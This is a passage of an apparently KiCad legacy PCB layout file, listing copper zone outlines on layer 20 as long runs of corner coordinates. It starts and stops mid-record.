0\nZCorner 56671 28729 0\nZCorner 56669 28711 0\nZCorner 56667 28694 0\nZCorner 56665 28676 0\nZCorner 56655 28658 0\nZCorner 56646 28639 0\nZCorner 56636 28621 0\nZCorner 56626 28602 0\nZCorner 56632 28591 0\nZCorner 56638 28581 0\nZCorner 56644 28570 0\nZCorner 56649 28559 0\nZCorner 56655 28567 0\nZCorner 56661 28575 0\nZCorner 56667 28583 0\nZCorner 56673 28590 0\nZCorner 56681 28605 0\nZCorner 56689 28620 0\nZCorner 56696 28634 0\nZCorner 56704 28649 0\nZCorner 56705 28650 0\nZCorner 56706 28651 0\nZCorner 56707 28652 0\nZCorner 56708 28653 0\nZCorner 56711 28647 0\nZCorner 56714 28641 0\nZCorner 56717 28635 0\nZCorner 56720 28630 0\nZCorner 56755 28573 0\nZCorner 56790 28516 0\nZCorner 56825 28460 0\nZCorner 56860 28403 1\n$POLYSCORNERS\n56704 28758 0 0\n56712 28750 0 0\n56808 28588 0 0\n56855 28507 0 0\n56903 28426 0 0\n56893 28420 0 0\n56882 28415 0 0\n56860 28403 0 0\n56825 28460 0 0\n56790 28516 0 0\n56720 28630 0 0\n56717 28635 0 0\n56708 28653 0 0\n56704 28649 0 0\n56696 28634 0 0\n56689 28620 0 0\n56673 28590 0 0\n56667 28583 0 0\n56649 28559 0 0\n56644 28570 0 0\n56638 28581 0 0\n56632 28591 0 0\n56626 28602 0 0\n56636 28621 0 0\n56646 28639 0 0\n56655 28658 0 0\n56665 28676 0 0\n56667 28694 0 0\n56669 28711 0 0\n56673 28747 0 0\n56681 28749 0 0\n56689 28752 0 0\n56696 28755 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66000B 0 \"\"\nZLayer 20\nZAux 37 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56958 28848 0\nZCorner 56943 28828 0\nZCorner 56929 28807 0\nZCorner 56914 28786 0\nZCorner 56900 28766 0\nZCorner 56906 28755 0\nZCorner 56913 28744 0\nZCorner 56920 28734 0\nZCorner 56927 28723 0\nZCorner 56941 28745 0\nZCorner 56956 28766 0\nZCorner 56971 28788 0\nZCorner 56985 28809 0\nZCorner 56990 28803 0\nZCorner 56995 28797 0\nZCorner 57000 28791 0\nZCorner 57005 28786 0\nZCorner 57034 28727 0\nZCorner 57064 28668 0\nZCorner 57093 28610 0\nZCorner 57122 28551 0\nZCorner 57134 28556 0\nZCorner 57146 28561 0\nZCorner 57157 28566 0\nZCorner 57169 28571 0\nZCorner 57127 28658 0\nZCorner 57085 28745 0\nZCorner 57043 28831 0\nZCorner 57001 28918 0\nZCorner 56992 28915 0\nZCorner 56983 28912 0\nZCorner 56975 28910 0\nZCorner 56966 28907 0\nZCorner 56964 28892 0\nZCorner 56962 28877 0\nZCorner 56960 28863 0\nZCorner 56958 28848 1\n$POLYSCORNERS\n57001 28918 0 0\n57043 28831 0 0\n57085 28745 0 0\n57169 28571 0 0\n57157 28566 0 0\n57146 28561 0 0\n57122 28551 0 0\n57093 28610 0 0\n57064 28668 0 0\n57034 28727 0 0\n57005 28786 0 0\n57000 28791 0 0\n56985 28809 0 0\n56971 28788 0 0\n56956 28766 0 0\n56941 28745 0 0\n56927 28723 0 0\n56920 28734 0 0\n56913 28744 0 0\n56906 28755 0 0\n56900 28766 0 0\n56914 28786 0 0\n56929 28807 0 0\n56943 28828 0 0\n56958 28848 0 0\n56960 28863 0 0\n56962 28877 0 0\n56966 28907 0 0\n56975 28910 0 0\n56983 28912 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66000C 0 \"\"\nZLayer 20\nZAux 37 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 58707 22057 0\nZCorner 58717 22057 0\nZCorner 58727 22057 0\nZCorner 58737 22057 0\nZCorner 58747 22057 0\nZCorner 58766 22087 0\nZCorner 58790 22114 0\nZCorner 58817 22137 0\nZCorner 58848 22154 0\nZCorner 58851 22156 0\nZCorner 58854 22158 0\nZCorner 58857 22160 0\nZCorner 58860 22162 0\nZCorner 58859 22174 0\nZCorner 58858 22185 0\nZCorner 58857 22197 0\nZCorner 58856 22209 0\nZCorner 58841 22205 0\nZCorner 58821 22194 0\nZCorner 58794 22176 0\nZCorner 58762 22150 0\nZCorner 58762 22158 0\nZCorner 58762 22166 0\nZCorner 58762 22174 0\nZCorner 58762 22181 0\nZCorner 58756 22246 0\nZCorner 58751 22310 0\nZCorner 58745 22375 0\nZCorner 58739 22439 0\nZCorner 58726 22439 0\nZCorner 58713 22439 0\nZCorner 58701 22439 0\nZCorner 58688 22439 0\nZCorner 58693 22344 0\nZCorner 58698 22248 0\nZCorner 58703 22152 0\nZCorner 58707 22057 1\n$POLYSCORNERS\n58739 22439 0 0\n58745 22375 0 0\n58751 22310 0 0\n58756 22246 0 0\n58762 22181 0 0\n58762 22150 0 0\n58794 22176 0 0\n58821 22194 0 0\n58841 22205 0 0\n58856 22209 0 0\n58858 22185 0 0\n58859 22174 0 0\n58860 22162 0 0\n58848 22154 0 0\n58817 22137 0 0\n58790 22114 0 0\n58766 22087 0 0\n58747 22057 0 0\n58707 22057 0 0\n58703 22152 0 0\n58693 22344 0 0\n58688 22439 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66000D 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59036 22092 0\nZCorner 59045 22092 0\nZCorner 59055 22092 0\nZCorner 59065 22092 0\nZCorner 59075 22092 0\nZCorner 59094 22128 0\nZCorner 59119 22159 0\nZCorner 59147 22186 0\nZCorner 59180 22209 0\nZCorner 59178 22220 0\nZCorner 59176 22232 0\nZCorner 59174 22244 0\nZCorner 59172 22256 0\nZCorner 59152 22247 0\nZCorner 59131 22233 0\nZCorner 59109 22213 0\nZCorner 59086 22189 0\nZCorner 59084 22196 0\nZCorner 59082 22203 0\nZCorner 59080 22210 0\nZCorner 59078 22217 0\nZCorner 59067 22282 0\nZCorner 59055 22347 0\nZCorner 59043 22413 0\nZCorner 59032 22478 0\nZCorner 59019 22476 0\nZCorner 59006 22474 0\nZCorner 58994 22472 0\nZCorner 58981 22471 0\nZCorner 58995 22376 0\nZCorner 59008 22281 0\nZCorner 59022 22186 0\nZCorner 59036 22092 1\n$POLYSCORNERS\n59032 22478 0 0\n59043 22413 0 0\n59055 22347 0 0\n59067 22282 0 0\n59078 22217 0 0\n59086 22189 0 0\n59109 22213 0 0\n59131 22233 0 0\n59152 22247 0 0\n59172 22256 0 0\n59178 22220 0 0\n59180 22209 0 0\n59147 22186 0 0\n59119 22159 0 0\n59094 22128 0 0\n59075 22092 0 0\n59036 22092 0 0\n59022 22186 0 0\n59008 22281 0 0\n58995 22376 0 0\n58981 22471 0 0\n58994 22472 0 0\n59006 22474 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66000E 0 \"\"\nZLayer 20\nZAux 74 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59231 22424 0\nZCorner 59232 22414 0\nZCorner 59233 22404 0\nZCorner 59234 22394 0\nZCorner 59235 22385 0\nZCorner 59254 22275 0\nZCorner 59296 22203 0\nZCorner 59358 22169 0\nZCorner 59442 22174 0\nZCorner 59500 22229 0\nZCorner 59524 22300 0\nZCorner 59512 22387 0\nZCorner 59465 22490 0\nZCorner 59382 22543 0\nZCorner 59316 22549 0\nZCorner 59265 22509 0\nZCorner 59231 22424 1\nZCorner 59340 22232 0\nZCorner 59335 22245 0\nZCorner 59330 22258 0\nZCorner 59326 22270 0\nZCorner 59321 22283 0\nZCorner 59321 22283 0\nZCorner 59321 22283 0\nZCorner 59321 22283 0\nZCorner 59321 22283 0\nZCorner 59320 22285 0\nZCorner 59319 22287 0\nZCorner 59318 22289 0\nZCorner 59317 22291 0\nZCorner 59317 22293 0\nZCorner 59317 22295 0\nZCorner 59317 22297 0\nZCorner 59317 22299 0\nZCorner 59316 22299 0\nZCorner 59315 22299 0\nZCorner 59314 22299 0\nZCorner 59313 22299 0\nZCorner 59287 22395 0\nZCorner 59286 22463 0\nZCorner 59307 22502 0\nZCorner 59352 22513 0\nZCorner 59362 22509 0\nZCorner 59371 22506 0\nZCorner 59381 22502 0\nZCorner 59391 22498 0\nZCorner 59400 22486 0\nZCorner 59408 22474 0\nZCorner 59417 22463 0\nZCorner 59426 22451 0\nZCorner 59436 22418 0\nZCorner 59446 22384 0\nZCorner 59455 22351 0\nZCorner 59465 22318 0\nZCorner 59467 22305 0\nZCorner 59469 22293 0\nZCorner 59471 22280 0\nZCorner 59473 22267 0\nZCorner 59469 22259 0\nZCorner 59465 22252 0\nZCorner 59461 22244 0\nZCorner 59457 22236 0\nZCorner 59445 22229 0\nZCorner 59432 22222 0\nZCorner 59419 22215 0\nZCorner 59407 22209 0\nZCorner 59394 22211 0\nZCorner 59381 22213 0\nZCorner 59368 22214 0\nZCorner 59356 22216 0\nZCorner 59352 22220 0\nZCorner 59348 22224 0\nZCorner 59344 22228 0\nZCorner 59340 22232 1\n$POLYSCORNERS\n59316 22549 0 0\n59352 22545 0 0\n59352 22513 0 0\n59307 22502 0 0\n59286 22463 0 0\n59287 22395 0 0\n59313 22299 0 0\n59317 22299 0 0\n59317 22291 0 0\n59321 22283 0 0\n59326 22270 0 0\n59330 22258 0 0\n59340 22232 0 0\n59356 22216 0 0\n59368 22214 0 0\n59381 22213 0 0\n59407 22209 0 0\n59419 22215 0 0\n59445 22229 0 0\n59457 22236 0 0\n59465 22252 0 0\n59469 22259 0 0\n59473 22267 0 0\n59469 22293 0 0\n59467 22305 0 0\n59465 22318 0 0\n59455 22351 0 0\n59446 22384 0 0\n59436 22418 0 0\n59426 22451 0 0\n59417 22463 0 0\n59408 22474 0 0\n59400 22486 0 0\n59391 22498 0 0\n59371 22506 0 0\n59362 22509 0 0\n59352 22513 0 0\n59352 22545 0 0\n59382 22543 0 0\n59465 22490 0 0\n59512 22387 0 0\n59524 22300 0 0\n59500 22229 0 0\n59442 22174 0 0\n59358 22169 0 0\n59296 22203 0 0\n59254 22275 0 0\n59235 22385 0 0\n59234 22394 0 0\n59231 22424 0 0\n59265 22509 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66000F 0 \"\"\nZLayer 20\nZAux 41 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59993 22385 0\nZCorner 60002 22387 0\nZCorner 60012 22390 0\nZCorner 60022 22393 0\nZCorner 60032 22396 0\nZCorner 60031 22416 0\nZCorner 60041 22446 0\nZCorner 60063 22486 0\nZCorner 60098 22537 0\nZCorner 60092 22548 0\nZCorner 60086 22558 0\nZCorner 60081 22569 0\nZCorner 60075 22580 0\nZCorner 60066 22570 0\nZCorner 60057 22560 0\nZCorner 60048 22551 0\nZCorner 60040 22541 0\nZCorner 60033 22529 0\nZCorner 60026 22517 0\nZCorner 60019 22506 0\nZCorner 60012 22494 0\nZCorner 60009 22495 0\nZCorner 60006 22496 0\nZCorner 60003 22497 0\nZCorner 60001 22498 0\nZCorner 60000 22503 0\nZCorner 59999 22508 0\nZCorner 59998 22512 0\nZCorner 59997 22517 0\nZCorner 59967 22576 0\nZCorner 59938 22635 0\nZCorner 59909 22693 0\nZCorner 59879 22752 0\nZCorner 59869 22747 0\nZCorner 59858 22742 0\nZCorner 59847 22737 0\nZCorner 59836 22732 0\nZCorner 59875 22645 0\nZCorner 59914 22558 0\nZCorner 59954 22471 0\nZCorner 59993 22385 1\n$POLYSCORNERS\n59879 22752 0 0\n59909 22693 0 0\n59938 22635 0 0\n59967 22576 0 0\n59997 22517 0 0\n59998 22512 0 0\n59999 22508 0 0\n60001 22498 0 0\n60003 22497 0 0\n60012 22494 0 0\n60019 22506 0 0\n60026 22517 0 0\n60040 22541 0 0\n60048 22551 0 0\n60057 22560 0 0\n60075 22580 0 0\n60081 22569 0 0\n60086 22558 0 0\n60092 22548 0 0\n60098 22537 0 0\n60063 22486 0 0\n60041 22446 0 0\n60031 22416 0 0\n60032 22396 0 0\n60002 22387 0 0\n59993 22385 0 0\n59954 22471 0 0\n59914 22558 0 0\n59836 22732 0 0\n59869 22747 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660010 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 60137 22892 0\nZCorner 60126 22886 0\nZCorner 60116 22881 0\nZCorner 60105 22875 0\nZCorner 60094 22869 0\nZCorner 60143 22787 0\nZCorner 60192 22705 0\nZCorner 60240 22623 0\nZCorner 60289 22541 0\nZCorner 60298 22545 0\nZCorner 60307 22549 0\nZCorner 60316 22553 0\nZCorner 60324 22556 0\nZCorner 60323 22579 0\nZCorner 60331 22611 0\nZCorner 60348 22652 0\nZCorner 60375 22701 0\nZCorner 60369 22711 0\nZCorner 60363 22720 0\nZCorner 60358 22730 0\nZCorner 60352 22740 0\nZCorner 60346 22741 0\nZCorner 60334 22725 0\nZCorner 60317 22694 0\nZCorner 60293 22646 0\nZCorner 60289 22653 0\nZCorner 60285 22660 0\nZCorner 60281 22667 0\nZCorner 60278 22674 0\nZCorner 60242 22728 0\nZCorner 60207 22783 0\nZCorner 60172 22838 0\nZCorner 60137 22892 1\n$POLYSCORNERS\n60137 22892 0 0\n60172 22838 0 0\n60242 22728 0 0\n60278 22674 0 0\n60281 22667 0 0\n60293 22646 0 0\n60317 22694 0 0\n60334 22725 0 0\n60346 22741 0 0\n60352 22740 0 0\n60358 22730 0 0\n60363 22720 0 0\n60369 22711 0 0\n60375 22701 0 0\n60348 22652 0 0\n60331 22611 0 0\n60323 22579 0 0\n60324 22556 0 0\n60316 22553 0 0\n60289 22541 0 0\n60240 22623 0 0\n60192 22705 0 0\n60094 22869 0 0\n60116 22881 0 0\n60126 22886 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660011 0 \"\"\nZLayer 20\nZAux 46 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 57181 22455 0\nZCorner 57180 22437 0\nZCorner 57179 22420 0\nZCorner 57178 22402 0\nZCorner 57177 22385 0\nZCorner 57197 22325 0\nZCorner 57233 22286 0\nZCorner 57286 22269 0\nZCorner 57356 22275 0\nZCorner 57408 22323 0\nZCorner 57445 22385 0\nZCorner 57468 22461 0\nZCorner 57477 22548 0\nZCorner 57434 22622 0\nZCorner 57379 22649 0\nZCorner 57312 22631 0\nZCorner 57231 22568 0\nZCorner 57219 22540 0\nZCorner 57206 22511 0\nZCorner 57193 22483 0\nZCorner 57181 22455 1\nZCorner 57376 22369 0\nZCorner 57325 22321 0\nZCorner 57283 22308 0\nZCorner 57250 22329 0\nZCorner 57228 22385 0\nZCorner 57230 22390 0\nZCorner 57232 22396 0\nZCorner 57234 22402 0\nZCorner 57236 22408 0\nZCorner 57237 22423 0\nZCorner 57239 22437 0\nZCorner 57241 22452 0\nZCorner 57243 22466 0\nZCorner 57245 22467 0\nZCorner 57247 22468 0\nZCorner 57249 22469 0\nZCorner 57251 22470 0\nZCorner 57276 22540 0\nZCorner 57309 22584 0\nZCorner 57349 22603 0\nZCorner 57396 22595 0\nZCorner 57422 22572 0\nZCorner 57427 22526 0\nZCorner 57411 22458 0\nZCorner 57376 22369 1\n$POLYSCORNERS\n57379 22649 0 0\n57434 22622 0 0\n57477 22548 0 0\n57468 22461 0 0\n57445 22385 0 0\n57408 22323 0 0\n57356 22275 0 0\n57286 22269 0 0\n57233 22286 0 0\n57197 22325 0 0\n57177 22385 0 0\n57178 22402 0 0\n57179 22420 0 0\n57180 22437 0 0\n57181 22455 0 0\n57193 22483 0 0\n57206 22511 0 0\n57219 22540 0 0\n57231 22568 0 0\n57312 22631 0 0\n57349 22640 0 0\n57349 22603 0 0\n57309 22584 0 0\n57276 22540 0 0\n57251 22470 0 0\n57243 22466 0 0\n57241 22452 0 0\n57239 22437 0 0\n57237 22423 0 0\n57236 22408 0 0\n57230 22390 0 0\n57228 22385 0 0\n57250 22329 0 0\n57283 22308 0 0\n57325 22321 0 0\n57376 22369 0 0\n57411 22458 0 0\n57427 22526 0 0\n57422 22572 0 0\n57396 22595 0 0\n57349 22603 0 0\n57349 22640 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660012 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 57548 22178 0\nZCorner 57579 22201 0\nZCorner 57615 22219 0\nZCorner 57655 22232 0\nZCorner 57700 22240 0\nZCorner 57702 22251 0\nZCorner 57704 22261 0\nZCorner 57706 22272 0\nZCorner 57708 22283 0\nZCorner 57680 22277 0\nZCorner 57653 22271 0\nZCorner 57626 22265 0\nZCorner 57599 22259 0\nZCorner 57601 22267 0\nZCorner 57603 22275 0\nZCorner 57604 22283 0\nZCorner 57606 22291 0\nZCorner 57623 22354 0\nZCorner 57640 22418 0\nZCorner 57656 22481 0\nZCorner 57673 22545 0\nZCorner 57662 22547 0\nZCorner 57651 22550 0\nZCorner 57641 22553 0\nZCorner 57630 22556 0\nZCorner 57603 22463 0\nZCorner 57575 22371 0\nZCorner 57548 22278 0\nZCorner 57521 22185 0\nZCorner 57527 22183 0\nZCorner 57534 22181 0\nZCorner 57541 22179 0\nZCorner 57548 22178 1\n$POLYSCORNERS\n57630 22556 0 0\n57641 22553 0 0\n57651 22550 0 0\n57662 22547 0 0\n57673 22545 0 0\n57656 22481 0 0\n57640 22418 0 0\n57623 22354 0 0\n57606 22291 0 0\n57604 22283 0 0\n57603 22275 0 0\n57599 22259 0 0\n57680 22277 0 0\n57708 22283 0 0\n57704 22261 0 0\n57702 22251 0 0\n57700 22240 0 0\n57655 22232 0 0\n57615 22219 0 0\n57579 22201 0 0\n57548 22178 0 0\n57541 22179 0 0\n57527 22183 0 0\n57521 22185 0 0\n57575 22371 0 0\n57603 22463 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660013 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 57845 22115 0\nZCorner 57853 22112 0\nZCorner 57862 22109 0\nZCorner 57871 22106 0\nZCorner 57880 22103 0\nZCorner 57905 22128 0\nZCorner 57935 22147 0\nZCorner 57970 22163 0\nZCorner 58009 22174 0\nZCorner 58012 22186 0\nZCorner 58016 22199 0\nZCorner 58020 22212 0\nZCorner 58024 22225 0\nZCorner 57998 22216 0\nZCorner 57971 22207 0\nZCorner 57945 22198 0\nZCorner 57919 22189 0\nZCorner 57919 22196 0\nZCorner 57919 22203 0\nZCorner 57919 22210 0\nZCorner 57919 22217 0\nZCorner 57929 22282 0\nZCorner 57940 22348 0\nZCorner 57951 22413 0\nZCorner 57962 22479 0\nZCorner 57951 22480 0\nZCorner 57940 22482 0\nZCorner 57929 22484 0\nZCorner 57919 22486 0\nZCorner 57900 22394 0\nZCorner 57882 22301 0\nZCorner 57863 22208 0\nZCorner 57845 22115 1\n$POLYSCORNERS\n57919 22486 0 0\n57929 22484 0 0\n57951 22480 0 0\n57962 22479 0 0\n57951 22413 0 0\n57940 22348 0 0\n57929 22282 0 0\n57919 22217 0 0\n57919 22189 0 0\n57971 22207 0 0\n57998 22216 0 0\n58024 22225 0 0\n58012 22186 0 0\n58009 22174 0 0\n57970 22163 0 0\n57935 22147 0 0\n57905 22128 0 0\n57880 22103 0 0\n57853 22112 0 0\n57845 22115 0 0\n57863 22208 0 0\n57882 22301 0 0\n57900 22394 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660014 0 \"\"\nZLayer 20\nZAux 54 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 58149 22385 0\nZCorner 58146 22381 0\nZCorner 58143 22377 0\nZCorner 58140 22373 0\nZCorner 58138 22369 0\nZCorner 58108 22248 0\nZCorner 58116 22156 0\nZCorner 58160 22092 0\nZCorner 58243 22057 0\nZCorner 58315 22071 0\nZCorner 58361 22126 0\nZCorner 58381 22222 0\nZCorner 58376 22357 0\nZCorner 58372 22364 0\nZCorner 58368 22371 0\nZCorner 58364 22378 0\nZCorner 58360 22385 0\nZCorner 58320 22433 0\nZCorner 58272 22449 0\nZCorner 58215 22433 0\nZCorner 58149 22385 1\nZCorner 58259 22096 0\nZCorner 58246 22098 0\nZCorner 58233 22099 0\nZCorner 58221 22101 0\nZCorner 58208 22103 0\nZCorner 58202 22109 0\nZCorner 58196 22115 0\nZCorner 58190 22121 0\nZCorner 58184 22127 0\nZCorner 58182 22140 0\nZCorner 58179 22154 0\nZCorner 58176 22168 0\nZCorner 58173 22181 0\nZCorner 58170 22272 0\nZCorner 58181 22340 0\nZCorner 58206 22385 0\nZCorner 58243 22408 0\nZCorner 58292 22391 0\nZCorner 58322 22351 0\nZCorner 58333 22288 0\nZCorner 58325 22201 0\nZCorner 58323 22190 0\nZCorner 58321 22179 0\nZCorner 58319 22169 0\nZCorner 58317 22158 0\nZCorner 58313 22150 0\nZCorner 58309 22142 0\nZCorner 58305 22135 0\nZCorner 58302 22127 0\nZCorner 58291 22119 0\nZCorner 58280 22111 0\nZCorner 58269 22103 0\nZCorner 58259 22096 1\n$POLYSCORNERS\n58272 22449 0 0\n58320 22433 0 0\n58360 22385 0 0\n58376 22357 0 0\n58381 22222 0 0\n58361 22126 0 0\n58315 22071 0 0\n58243 22057 0 0\n58160 22092 0 0\n58116 22156 0 0\n58108 22248 0 0\n58138 22369 0 0\n58140 22373 0 0\n58149 22385 0 0\n58215 22433 0 0\n58243 22440 0 0\n58243 22408 0 0\n58206 22385 0 0\n58181 22340 0 0\n58170 22272 0 0\n58173 22181 0 0\n58176 22168 0 0\n58182 22140 0 0\n58184 22127 0 0\n58208 22103 0 0\n58221 22101 0 0\n58233 22099 0 0\n58246 22098 0 0\n58259 22096 0 0\n58269 22103 0 0\n58302 22127 0 0\n58305 22135 0 0\n58309 22142 0 0\n58317 22158 0 0\n58319 22169 0 0\n58321 22179 0 0\n58325 22201 0 0\n58333 22288 0 0\n58322 22351 0 0\n58292 22391 0 0\n58243 22408 0 0\n58243 22440 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660015 0 \"\"\nZLayer 20\nZAux 41 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 60567 22728 0\nZCorner 60575 22732 0\nZCorner 60584 22736 0\nZCorner 60593 22740 0\nZCorner 60602 22744 0\nZCorner 60599 22779 0\nZCorner 60605 22815 0\nZCorner 60617 22853 0\nZCorner 60637 22892 0\nZCorner 60631 22902 0\nZCorner 60625 22912 0\nZCorner 60619 22922 0\nZCorner 60613 22931 0\nZCorner 60604 22917 0\nZCorner 60594 22902 0\nZCorner 60584 22887 0\nZCorner 60574 22873 0\nZCorner 60571 22863 0\nZCorner 60568 22853 0\nZCorner 60566 22843 0\nZCorner 60563 22834 0\nZCorner 60559 22839 0\nZCorner 60555 22845 0\nZCorner 60551 22851 0\nZCorner 60547 22857 0\nZCorner 60546 22858 0\nZCorner 60545 22859 0\nZCorner 60544 22860 0\nZCorner 60543 22861 0\nZCorner 60503 22912 0\nZCorner 60463 22963 0\nZCorner 60423 23013 0\nZCorner 60383 23064 0\nZCorner 60372 23057 0\nZCorner 60361 23050 0\nZCorner 60351 23044 0\nZCorner 60340 23037 0\nZCorner 60397 22960 0\nZCorner 60453 22882 0\nZCorner 60510 22805 0\nZCorner 60567 22728 1\n$POLYSCORNERS\n60383 23064 0 0\n60423 23013 0 0\n60463 22963 0 0\n60543 22861 0 0\n60547 22857 0 0\n60559 22839 0 0\n60563 22834 0 0\n60566 22843 0 0\n60568 22853 0 0\n60574 22873 0 0\n60584 22887 0 0\n60604 22917 0 0\n60613 22931 0 0\n60619 22922 0 0\n60637 22892 0 0\n60617 22853 0 0\n60605 22815 0 0\n60599 22779 0 0\n60602 22744 0 0\n60575 22732 0 0\n60567 22728 0 0\n60453 22882 0 0\n60397 22960 0 0\n60340 23037 0 0\n60351 23044 0 0\n60361 23050 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660016 0 \"\"\nZLayer 20\nZAux 58 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 60574 23150 0\nZCorner 60577 23140 0\nZCorner 60580 23131 0\nZCorner 60583 23121 0\nZCorner 60586 23111 0\nZCorner 60653 23015 0\nZCorner 60720 22956 0\nZCorner 60785 22935 0\nZCorner 60848 22951 0\nZCorner 60905 23006 0\nZCorner 60919 23071 0\nZCorner 60891 23146 0\nZCorner 60820 23232 0\nZCorner 60813 23237 0\nZCorner 60807 23242 0\nZCorner 60800 23247 0\nZCorner 60793 23252 0\nZCorner 60696 23285 0\nZCorner 60627 23278 0\nZCorner 60586 23233 0\nZCorner 60574 23150 1\nZCorner 60719 23029 0\nZCorner 60715 23034 0\nZCorner 60711 23039 0\nZCorner 60707 23044 0\nZCorner 60703 23048 0\nZCorner 60645 23113 0\nZCorner 60615 23166 0\nZCorner 60615 23208 0\nZCorner 60645 23240 0\nZCorner 60696 23241 0\nZCorner 60745 23222 0\nZCorner 60791 23183 0\nZCorner 60836 23123 0\nZCorner 60842 23117 0\nZCorner 60848 23111 0\nZCorner 60854 23105 0\nZCorner 60860 23099 0\nZCorner 60863 23088 0\nZCorner 60867 23076 0\nZCorner 60871 23064 0\nZCorner 60875 23052 0\nZCorner 60865 23038 0\nZCorner 60856 23023 0\nZCorner 60846 23009 0\nZCorner 60836 22994 0\nZCorner 60827 22991 0\nZCorner 60818 22988 0\nZCorner 60810 22985 0\nZCorner 60801 22982 0\nZCorner 60791 22984 0\nZCorner 60781 22986 0\nZCorner 60772 22988 0\nZCorner 60762 22990 0\nZCorner 60751 23000 0\nZCorner 60740 23009 0\nZCorner 60730 23019 0\nZCorner 60719 23029 1\n$POLYSCORNERS\n60696 23241 0 0\n60696 23285 0 0\n60793 23252 0 0\n60807 23242 0 0\n60813 23237 0 0\n60820 23232 0 0\n60891 23146 0 0\n60919 23071 0 0\n60905 23006 0 0\n60848 22951 0 0\n60785 22935 0 0\n60720 22956 0 0\n60653 23015 0 0\n60586 23111 0 0\n60580 23131 0 0\n60577 23140 0 0\n60574 23150 0 0\n60586 23233 0 0\n60627 23278 0 0\n60696 23285 0 0\n60696 23241 0 0\n60645 23240 0 0\n60615 23208 0 0\n60615 23166 0 0\n60645 23113 0 0\n60703 23048 0 0\n60707 23044 0 0\n60719 23029 0 0\n60730 23019 0 0\n60740 23009 0 0\n60751 23000 0 0\n60762 22990 0 0\n60772 22988 0 0\n60781 22986 0 0\n60801 22982 0 0\n60810 22985 0 0\n60818 22988 0 0\n60836 22994 0 0\n60846 23009 0 0\n60856 23023 0 0\n60865 23038 0 0\n60875 23052 0 0\n60863 23088 0 0\n60860 23099 0 0\n60836 23123 0 0\n60791 23183 0 0\n60745 23222 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660017 0 \"\"\nZLayer 20\nZAux 54 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 57473 28774 0\nZCorner 57450 28898 0\nZCorner 57409 28982 0\nZCorner 57350 29028 0\nZCorner 57274 29036 0\nZCorner 57202 29003 0\nZCorner 57172 28939 0\nZCorner 57184 28844 0\nZCorner 57239 28719 0\nZCorner 57318 28663 0\nZCorner 57383 28653 0\nZCorner 57435 28690 0\nZCorner 57473 28774 1\nZCorner 57235 28871 0\nZCorner 57234 28878 0\nZCorner 57233 28885 0\nZCorner 57232 28892 0\nZCorner 57231 28899 0\nZCorner 57229 28908 0\nZCorner 57227 28916 0\nZCorner 57226 28925 0\nZCorner 57224 28934 0\nZCorner 57226 28942 0\nZCorner 57229 28950 0\nZCorner 57232 28957 0\nZCorner 57235 28965 0\nZCorner 57246 28972 0\nZCorner 57257 28979 0\nZCorner 57267 28986 0\nZCorner 57278 28992 0\nZCorner 57288 28992 0\nZCorner 57298 28992 0\nZCorner 57307 28992 0\nZCorner 57317 28992 0\nZCorner 57326 28988 0\nZCorner 57335 28983 0\nZCorner 57344 28978 0\nZCorner 57352 28973 0\nZCorner 57360 28959 0\nZCorner 57368 28946 0\nZCorner 57376 28932 0\nZCorner 57384 28918 0\nZCorner 57414 28822 0\nZCorner 57422 28752 0\nZCorner 57408 28708 0\nZCorner 57372 28692 0\nZCorner 57324 28705 0\nZCorner 57286 28739 0\nZCorner 57258 28793 0\nZCorner 57239 28868 0\nZCorner 57238 28869 0\nZCorner 57237 28869 0\nZCorner 57236 28870 0\nZCorner 57235 28871 1\n$POLYSCORNERS\n57274 29036 0 0\n57278 29035 0 0\n57278 28992 0 0\n57267 28986 0 0\n57257 28979 0 0\n57235 28965 0 0\n57232 28957 0 0\n57229 